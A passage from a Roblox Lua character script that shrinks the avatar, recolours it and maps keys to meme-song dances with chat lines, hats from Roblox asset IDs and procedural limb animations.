- rootpart.Size = Vector3.new(.4, .4, .2)
- rl.Size = Vector3.new(.2, .4, .2)
- ll.Size = Vector3.new(.2, .4, .2)
- ra.Size = Vector3.new(.2, .4, .2)
- la.Size = Vector3.new(.2, .4, .2)
- torso.Size = Vector3.new(.4, .4, .2)
- head.Size = Vector3.new(.4, .2, .2)
- rh.Parent = torso
- lh.Parent = torso
- rs.Parent = torso
- ls.Parent = torso
- neck.Parent = torso
- rj.Parent = rootpart
- if torso:findFirstChild("roblox") then
- local p = Instance.new("Part", char)
- p.FormFactor = "Custom"
- p.Size = torso.Size
- p.Transparency = 1
- p:BreakJoints()
- local w = Instance.new("Weld", char)
- w.Part0 = p
- w.Part1 = torso
- torso:findFirstChild("roblox").Parent = p
- end
- mesh1 = Instance.new("SpecialMesh", torso)
- mesh1.Name = "Mesh"
- mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
- mesh1.MeshId = "rbxasset://fonts/torso.mesh"
- mesh2 = Instance.new("SpecialMesh", la)
- mesh2.Name = "Mesh"
- mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
- mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
- mesh3 = Instance.new("SpecialMesh", ra)
- mesh3.Name = "Mesh"
- mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
- mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
- mesh4 = Instance.new("SpecialMesh", ll)
- mesh4.Name = "Mesh"
- mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
- mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
- mesh5 = Instance.new("SpecialMesh", rl)
- mesh5.Name = "Mesh"
- mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
- mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
- ls.C0 = CFrame.new(-.3,.1,0)
- ls.C1 = CFrame.new(0,.1,0)
- rs.C0 = CFrame.new(.3,.1,0)
- rs.C1 = CFrame.new(0,.1,0)
- rh.C0 = CFrame.new(.1,-.2,0)
- rh.C1 = CFrame.new(0, .2, 0)
- lh.C0 = CFrame.new(-.1,-.2,0)
- lh.C1 = CFrame.new(0, .2, 0)
- neck.C0 = CFrame.new(0,.2,0)
- neck.C1 = CFrame.new(0,-.1,0)
- bodyc = char:findFirstChild("Body Colors")
- if bodyc then
- bodyc:Destroy()
- end
- wait(0.1)
- skincolor = {"Pastel brown"}
- clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
- skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
- clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
- function restorecolors()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = skincolorrandom
- end
- end
- torso.BrickColor = clothcolorrandom
- ll.BrickColor = clothcolorrandom
- rl.BrickColor = clothcolorrandom
- end
- restorecolors()
- local LightForTorso = Instance.new("PointLight", head)
- LightForTorso.Range = 15
- LightForTorso.Brightness = 20
- coroutine.wrap(function()
- while LightForTorso ~= nil do
- LightForTorso.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.8)
- end
- end)()
- local slidecount = 0
- local slidecountmax = 0
- local anim = ""
- local lastanim = anim
- local speed = 0
- local looking = false
- local dancing = false
- local superannoying = false
- local barrelroll = false
- local dubstepgun = false
- local foxie = false
- local durka = false
- local saxguy = false
- local heya = false
- local jb = false
- local bronymusic = false
- local sheddy = false
- local burndem = false
- local canttt = false
- local global_wait = 0
- count = 0
- countspeed = 1
- sine = 0
- sinespeed = 1
- humanoid.WalkSpeed = 20
- local controllerService = game:GetService("ControllerService")
- local controller = controllerService:GetChildren()[1]
- local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
- humanoid.Died:connect(function()
- for cframe_parts = 0, 100 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
- p.Parent = workspace
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- mouse.KeyDown:connect(function(k)
- if string.byte(k) == 50 then
- if dancing then return end
- sitting = not sitting
- if sitting then
- local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
- local hitz,enz = workspace:FindPartOnRay(ray, char)
- if hitz then
- controller.Parent = nil
- humanoid.WalkSpeed = 0
- coroutine.wrap(function()
- while wait() do
- humanoid.PlatformStand = true
- if sitting == false then humanoid.PlatformStand = false break end
- end
- end)()
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- miniweld = Instance.new("Weld", char)
- miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
- miniweld.Part0 = hitz
- miniweld.Part1 = rootpart
- else
- sitting = false
- return
- end
- else
- if miniweld then
- miniweld:Destroy()
- end
- controller.Parent = controllerService
- humanoid.PlatformStand = false
- humanoid.WalkSpeed = 30
- end
- end
- if string.byte(k) == 32 then
- fwutters:Stop()
- uni:Stop()
- Cobalt1164l:Stop()
- qq:Stop()
- ann:Stop()
- nyan:Stop()
- sctmn:Stop()
- cant:Stop()
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- land_of_swords:stop()
- brony_music:stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- doge:Stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "z" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Jb Time!",0)
- jb = true
- super_annoying:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=84302661"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=84302759"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.6, 0)
- end
- end
- if k == "=" then
- if dancing then return end
- if not sitting then
- dancing = true
- canttt = true
- cant:play()
- game:GetService("Chat"):Chat(head,"Can't touch me!",0)
- end
- end
- if k == "u" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
- saxguy = true
- sctmn:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070"
- hatmesh.Scale = Vector3.new(.0925, .0925, .0925)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "k" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Ain't anybody got time for dat!",0)
- sheddy = true
- spitfire:play()
- end
- end
- if k == "," then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Land of swords!",0)
- foxie = true
- land_of_swords:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1285237"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=118666588"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "p" then
- if dancing then return end
- if not sitting then
- dancing = true
- foxie = true
- game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
- qq:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == ";" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"PICK THE UNICORN!",0)
- heya = true
- uni:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "n" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Gangnam Style!",0)
- gangnam = true
- gangy_style:play()
- end
- end
- if k == "t" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"x3",0)
- heya = true
- ann:play()
- end
- end
- if k == "-" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"TROCobalt1164OCobalt1164OLO",0)
- heya = true
- Cobalt1164l:play()
- end
- end
- if k == "r" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"BURN! BURN THEM!",0)
- burndem = true
- burn_dem:play()
- end
- end
- if k == "x" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Do the barrel roll!",0)
- barrelroll = true
- barrel_roll:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
- hatmesh.Scale = Vector3.new(.22, .2, .22)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "h" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,":D",0)
- heman:play()
- heya = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "j" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Don drop dat durk durk!",0)
- justin:play()
- jb = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
- hatmesh.Scale = Vector3.new(.23, .23, .23)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, -0.05, 0)
- end
- end
- if k == "'" then
- if dancing then return end
- if not sitting then
- dancing = true
- fwutters:play()
- game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
- bronymusic = true
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Cool yellow")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Cool yellow")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326"
- hatmesh.Scale = Vector3.new(.28, .28, .28)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, 0, 0)
- end
- end
- if k == "c" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Yayyy! Caramell!",0)
- dubstepgun = true
- dubstep_gun:play()
- end
- end
- if k == "v" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I am a pirate!",0)
- youpirate = true
- you_are_pirate:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0)
- end
- end
- if k == "m" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Can't touch this!",0)
- canttouch = true
- cant_touch:play()
- end
- end
- if k == "b" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Now for brony music!",0)
- bronymusic = true
- brony_music:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Pink")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Lavender")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192"
- hatmesh.Scale = Vector3.new(.25, .25, .45)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0.05)
- end
- end
- if k == "y" then
- if dancing then return end
- if not sitting then
- dancing = true
- bronymusic = true
- nyan:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Dark stone grey")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031"
- hatmesh.Scale = Vector3.new(.2, .30, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0.05)
- end
- end
- if k == "l" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"What does the fox say?!",0)
- foxie = true
- fox_say:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0)
- end
- end
- if k == "f" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I'm wakin up!",0)
- durka = true
- durk:play()
- end
- end
- if k == "g" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Now for some more music",0)
- saxguy = true
- sax_guy:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "q" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
- rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
- end
- if k == "e" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
- rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
- end
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 30
- end
- if string.byte(k) == 52 then
- if sitting then return end
- humanoid.WalkSpeed = 10
- end
- end)
- mouse.KeyUp:connect(function(k)
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 20
- end
- if string.byte(k) == 32 then
- game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- brony_music:stop()
- cant:Stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "q" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- if k == "e" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- end)
- game:service'RunService'.Stepped:connect(function()
- count = (count % 100) + countspeed
- angle = math.pi * math.sin(math.pi*2/100*count)
- if slidecount < slidecountmax then
- slidecount = slidecount + speed
- end
- if slidecount > slidecountmax then
- slidecount = slidecount - speed
- end
- if global_wait == 380 then global_wait = 0 end
- sine = sine + sinespeed
- if not dancing then
- if not sitting then
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
- -- idle anim
- anim = "Idle"
- if anim ~= lastanim then
- if lastanim == "Walking" then
- speed = 0.5
- slidecount = 1
- slidecountmax = 0
- elseif lastanim == "Running" then
- speed = 2.5
- slidecount = 5
- slidecountmax = 0
- else
- slidecount = 0
- slidecountmax = 0
- end
- end
- countspeed = 1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
- looking = false
- -- walk anim
- anim = "Walking"
- if anim ~= lastanim then
- speed = 0.2
- slidecount = 0
- slidecountmax = 1
- if lastanim == "Running" then
- slidecount = 5
- end
- end
- countspeed = 6
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
- rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
- --run anim
- anim = "Running"
- if anim ~= lastanim then
- speed = 1
- slidecount = 0
- slidecountmax = 5
- if lastanim == "Walking" then
- slidecount = 1
- end
- end
- looking = false
- countspeed = 9
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
- end
- lastanim = anim
- else
- countspeed = 1
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
- else
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
- end
- else
- if superannoying then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif barrelroll then
- countspeed = 5
- sinespeed = 0.1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
- elseif dubstepgun then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
